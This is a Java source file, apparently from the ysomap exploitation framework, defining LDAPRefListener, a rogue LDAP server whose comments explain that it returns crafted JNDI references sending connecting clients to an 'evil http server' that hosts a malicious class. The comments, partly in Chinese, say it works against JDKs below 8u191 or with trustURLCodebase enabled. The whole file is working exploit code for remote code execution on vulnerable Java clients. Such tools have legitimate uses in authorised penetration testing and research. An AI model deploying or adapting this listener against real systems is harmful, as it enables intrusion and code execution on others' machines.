package ysomap.exploits.ldap;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import ysomap.common.annotation.*;
import ysomap.common.util.Logger;
import ysomap.common.util.Status;
import ysomap.common.util.Strings;
import ysomap.exploits.AbstractExploit;
import ysomap.exploits.ldap.component.OperationInterceptor;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

/**
 * @author mbechler
 */
@Exploits
@Authors({Authors.MBECHLER})
@Require(bullets = {"evil http server"}, param = false)
@Dependencies({"com.sun.jndi.ldap.object.trustURLCodebase=true"})
@Details("Start up a Evil LDAP server with reference.\r\n" +
        "建立一个LDAP服务，对外来连接的客户端返回构造好的reference对象。\n" +
        "当前exploit需要配合SimpleHTTPServer，挂载恶意的class文件。\n" +
        "需要JNDI连接，适合JDK版本小于jdk8u191，或设置了com.sun.jndi.ldap.object.trustURLCodebase=true\n" +
        "其他可视情况使用LDAPLocalChainListener来攻击客户端本地的依赖。")
public class LDAPRefListener extends AbstractExploit {

    @NotNull
    @Require(name = "lport", type = "int", detail = "LDAP Server listening port")
    public String lport = "1389";

    @NotNull
    @Require(name = "codebase", detail = "evil http server address, like http://localhost/ 这里codebase必须以\"/\"结尾")
    public String codebase;

    @NotNull
    @Require(name = "objectName", detail = "the Object name which mounted by evil http server, like EvilObj")
    public String objectName;

    private InMemoryDirectoryServer ds;

    @Override
    public void work() {
        needRunning = true;
        InMemoryDirectoryServerConfig config = null;
        try {
            config = new InMemoryDirectoryServerConfig("dc="+ Strings.randomString(6) +",dc=com");
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    Integer.parseInt(lport),
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(codebase, objectName));
            ds = new InMemoryDirectoryServer(config);
            Logger.success("LDAPRefListener listening on 0.0.0.0:" + lport); //$NON-NLS-1$
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void stop() {
        ds.closeAllConnections(false);
        ds.close();
        status = Status.STOPPED;
        Logger.success("LDAPRef Listener stopped");
    }

    @Override
    public String toString() {
        return "LDAPRefListener{" +
                "lport='" + lport + '\'' +
                ", codebase='" + codebase + '\'' +
                ", objectName='" + objectName + '\'' +
                '}';
    }

}
